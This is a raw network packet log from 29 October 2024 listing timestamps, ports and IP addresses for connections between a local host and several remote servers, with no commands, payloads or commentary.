Oct 29, 2024 02:46:38.938822031 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.938868046 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.941740036 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.941787004 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.941911936 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.942181110 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.942194939 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974091053 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974292040 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974422932 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.974523067 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.974523067 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.974564075 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974590063 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974747896 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.974945068 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.975007057 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.977344990 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.977344990 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.977376938 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.977396965 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.980132103 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980156898 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.980222940 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980379105 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980421066 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.980478048 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980629921 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980649948 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.980652094 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.980664015 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.982105017 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.982125044 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.982187986 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.982188940 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.982232094 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.983284950 CET	49870	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.983299017 CET	443	49870	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.983697891 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.983747005 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.983820915 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.983971119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.983994007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984006882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984039068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984070063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984096050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984119892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984131098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984143972 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984163046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984174967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984177113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984237909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984237909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984436035 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:38.984483957 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:38.984813929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984827042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984839916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.984869957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.984904051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.985121012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.985173941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.985193014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.985205889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:38.985259056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:38.991976023 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.992163897 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.992784023 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.994293928 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.994307041 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.994318008 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.994322062 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.998955965 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.998997927 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:38.999099016 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.999293089 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:38.999319077 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.007064104 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.007194996 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.007256031 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.007369995 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.007394075 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.007417917 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.007432938 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.013267040 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.013322115 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.013406038 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.013684988 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.013715029 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.025079012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025155067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025175095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025192976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025224924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025226116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025226116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025262117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025306940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025306940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025438070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025471926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025501966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025506020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.025525093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.025676012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.101874113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.101928949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.101963043 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.101963997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.101991892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.101999044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102006912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102035046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102045059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102071047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102078915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102118969 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102195978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102231026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102241993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102266073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102271080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102299929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102351904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102581024 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.102663994 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.102688074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102722883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102750063 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.102752924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102756977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.102773905 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.102843046 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.103013992 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103051901 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.103106022 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103502989 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103527069 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.103593111 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103689909 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103724957 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.103789091 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103812933 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.103935957 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.103961945 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.130779982 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.131170988 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.131233931 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.132225037 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.132313967 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.132742882 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.132810116 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.133277893 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.133296013 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.142204046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142256021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142271996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142292023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142299891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142335892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142343044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142385006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142395020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142445087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142458916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142489910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142628908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142657995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.142703056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.142858982 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.143333912 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.143346071 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.143800974 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.144071102 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.144171953 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.144210100 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.145978928 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.146155119 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.146164894 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.147067070 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.147150040 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.147927999 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.147984028 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.148364067 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.148375988 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.162724972 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.163006067 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.163017035 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.166579008 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.166728020 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.166968107 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.167043924 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.167072058 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.179558039 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.183748960 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.184286118 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.184324026 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.184840918 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.184855938 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.184910059 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.184926033 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.186078072 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.186312914 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.186332941 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.187187910 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.187274933 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.187561989 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.187619925 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.187659025 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.187891006 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.187911034 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.187927961 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.187963963 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.187978029 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.187992096 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.188020945 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.191349983 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.195137024 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.195220947 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.210176945 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.210190058 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.218803883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.218869925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.218941927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.218947887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.218980074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.218991041 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219017982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219054937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219073057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219090939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219114065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219125986 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219126940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219162941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219168901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219206095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219748974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219784975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219800949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219820976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219827890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219856024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.219862938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.219897985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.228624105 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.228655100 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.259382963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259447098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259532928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259567976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259603024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259629011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259645939 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259649038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259699106 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259869099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259905100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259942055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259943962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259946108 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.259963989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.259978056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.259987116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.260035038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.275198936 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.282265902 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.282337904 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.282394886 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.282408953 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.282473087 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.282594919 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.283348083 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.283368111 CET	443	49877	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.283382893 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.283421040 CET	49877	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.283787012 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.283816099 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.283894062 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.284395933 CET	49891	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.284415960 CET	443	49891	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.304825068 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.304842949 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.304905891 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.304917097 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.304960012 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.335685015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335747957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335757017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.335791111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.335803032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335841894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335845947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.335876942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335886002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.335912943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.335927963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.335951090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336069107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336116076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336123943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336160898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336174011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336195946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336199045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336236954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336591959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336627007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336653948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336663008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336663961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.336698055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.336745977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376178026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376245975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376250982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376291990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376310110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376348019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376352072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376389027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376420975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376435995 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376471043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376487017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376509905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376511097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376549006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376560926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376585960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376615047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376621008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.376627922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.376713037 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.416578054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.416649103 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.416650057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.416850090 CET	49838	80	192.168.2.5	185.215.113.206
